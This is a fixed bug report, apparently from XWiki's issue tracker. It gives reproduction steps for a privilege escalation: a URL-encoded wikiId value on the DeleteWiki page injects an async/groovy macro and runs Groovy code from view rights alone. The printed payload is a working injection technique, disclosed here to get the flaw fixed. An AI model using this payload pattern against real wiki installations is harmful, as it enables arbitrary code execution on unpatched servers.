Details
-
Bug
-
Resolution: Fixed
-
Blocker
-
5.3-milestone-2
-
Unknown
-
N/A
-
N/A
-
Description
Steps to reproduce:
Open <xwiki-host>/xwiki/bin/view/WikiManager/DeleteWiki?wikiId=%22+%2F%7D%7D+%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D where <xwiki-host> is the URL of your XWiki installation.
Expected result:
An error
Wiki [" /}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/async}}] does not exist
is displayed.
Actual result:
Wiki [{0}] does not exist Hello from groovy!"/}}
is displayed. This shows that the Groovy macro has been executed and thus demonstrates a privilege escalation from view rights on WikiManager.DeleteWiki to programming rights.
Attachments
Issue Links
- links to